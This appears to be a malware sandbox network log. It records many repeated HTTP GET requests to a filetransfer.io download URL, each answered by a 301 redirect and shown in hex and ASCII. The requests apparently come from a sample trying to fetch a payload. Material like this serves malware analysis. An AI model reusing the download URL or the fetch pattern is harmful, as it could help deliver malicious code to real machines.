74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:11.705151081 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:11.916591883 CEST	833	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:11 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ukoy1gCwpDoHcN0sexRHZBqtm828NBTJd7Tvc51cO7FpEm5gLG6j2cy7b0o%2BscbwYKyg%2BNQKex4R6OXuZi8r35rUuzvVhEokLROELdG6Pp9qrAGf%2FscYdbPqSDG%2B0qOoJaI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41c9e7ae8c343-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:11.918637037 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:12.113653898 CEST	835	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:12 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BBb1GTWnrSoeLoi3DtxI%2BETpfRhXvfzGDOTDWQyZ0S%2BhC8RJl7bLEMghRDQNKC9G7WeFw3X%2BXgs0TYbCzzRnOj8kQhC8d5gjlqkijHOuOTGSN5wY8VyNG5GuPwIWu4%2B2jPk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41c9fcb77c343-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:12.114523888 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:12.305500984 CEST	837	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:12 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=H0qY9r4Rix1EGFvJdGfz2HqDDc7SdH1EJ4Ga1b%2Blju5vHKPlNIMkmWSBjecZ2%2Bdb%2F6Zp%2FIbGP1L4IeRM%2F9rynXXqCpZWKabOCkkyKAiND%2FOissPZ1lAcxFAjMeoJiZzndnY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41ca0fc1ec343-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:12.307420015 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:12.500413895 CEST	829	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:12 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=plY8iBPtY3VUMz9AO4EWa4sM84ghiyScNBMns7egxgvO8P44xqJmfyqXutN9qmvl%2FrY2cGPg2zwnex4USeIIUQbyBfysYlHrMOP6P9bMJMpsPc6%2BBfcuSwN9UFqDdi5w4X0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41ca23cb5c343-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:12.502352953 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:12.694152117 CEST	831	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:12 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hwJySUw7QatBVfqwEGtaPFLGvP3Bjrj0hAuXNRbWwmRyo5PKGDcuJqNyRU0%2BBgALKnjWDDJmPPojWOyoR9%2BzbtV2cw4j9gpf5BFYGN26ba4LgmpTOcN%2FMManySVCXMYlW04%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41ca36d53c343-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:12.694849968 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:12.884872913 CEST	829	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:12 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cmZJzOAbISEdloBn69H2ts8zMQa4%2B93WCysTowTS4mEZG3T6H7N8YEbO95tP9MWmfNg9hIsb7xDAx8Dl1A3gFQYiOsORWEZY4oimJ7J4Q1XozqphkYULx5eQoq%2FPbuDRUbg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41ca49ddec343-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:12.886737108 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:13.082472086 CEST	831	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:13 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3wSq8JeF31%2BcuuIBNNxJAY1RVDSl8chlX9AXoa7xqjijAbilerF40qfbSc%2Btvat1E9Czt8QilvaypzIvBTWRIfCg2HnofQnJopW%2FdpP97hNUwbOMErFM5fuQiU5atHAu1Zo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41ca5de57c343-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:13.084570885 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:13.276076078 CEST	831	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:13 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5tR5W6H9dpSYxKl7Ss8xXcZLrSeLR8H4etqdg5W%2FC6arIdDgLIfneRSDZl0S3vl%2FSTQfs8MKojZZBUDnN0KzH7SGxUgCpI6v4MYfvkMwdnNErMGxRac7KpsoAxruZ%2BrxgzQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41ca70efec343-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:13.277987003 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:13.470276117 CEST	835	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:13 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gVtzeNKju58puBcqL4EtKJXDDYyv10T2t0n9M4VhdM%2BhRNLoEO4E%2FQJBRCD6NDR9IY%2Fy5RZT6xDiJ2Tw8RqTq4J%2BVOB4cD4TMdCUqXY8h6pMXEFAuk%2FOTrBKMwxqivLTSQc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41ca84f80c343-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:13.472215891 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:13.663494110 CEST	835	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:13 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8uZnphv0G08AhjcNJucUvo%2BXkzLb4cbtYP%2FbfsvRlBVHLizWPYcddR1uYJEiXTIuPaytmeYimfybNqrXpcEKS%2BaDOJuqQvLKWoW1poNJQfufGhbRidTVhR1eQd4%2Fk%2BhkMSM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41ca9782ec343-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:13.665189981 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:13.857644081 CEST	831	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:13 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FbgXrYbqENjnXAV4UUTiSmQzR%2B02YU18bQxWkNvZFeb3pETUWBXGZ0Ri1oFwTjRKc2UDFW1Ymb%2FaPOTdkQF7Rj6%2FDJVunhRp4YqEPrZY90CKa4c9f9IaeOrPVNZvtrRipYE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41caaa8cbc343-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:13.859808922 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:14.049979925 CEST	861	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:13 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CMtL1VXd3Ex%2BGpc%2BoVlwTSQtA4YOlH7LoaTpYTREBL67S7CKIUK11Pw01RVTbG3zEUGNk%2B7gX8u24mHwkYBXMZuAnassNEuSirZXKp6icSuaAdmTicj9lrjrg48zs3HCSxs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41cabe94cc343-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:14.052110910 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:14.245028973 CEST	865	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:14 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9kJk7FDISKX55b4JlMlNl4Zp7KuaxXa6%2FOvidW1qOqLik0gVN%2B%2BGsaREDpy93yr3pCnfbmjvM3vlDVhJcnEspn8sW%2FNQ4dSSBa3nkuy9euL9nJ5mx1PlsALOUT04Q2uj%2FHY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41cad19d5c343-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:14.246874094 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:14.439681053 CEST	857	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:14 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lmUoo0jZVt32TMW7seuGsiIPNWAownQ0zjGEoREGCwoh4wCOkyvGGGM7O4xPwnE3mwff89TTLaI0I%2BmUy2FrnfWfMiiNMTyaazvay0xVP0tax8PigUQA6P0ZgeMljrJjrWU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41cae5a65c343-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:14.441679001 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:14.631288052 CEST	664	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:14 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aJ7YMHZo7p8sm4f8y%2B4WFXTG5FXMdh%2Ff5Fde%2BnefuNueER3DZeTxxS65A6Bi78pwstlgbATp31P2WLQokJf982Qr3UoW8vIpNRLm1QcVQPM3NCsLcG%2B%2B8gsqvTE%2FF2zVWek%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41caf8b00c343-EWR
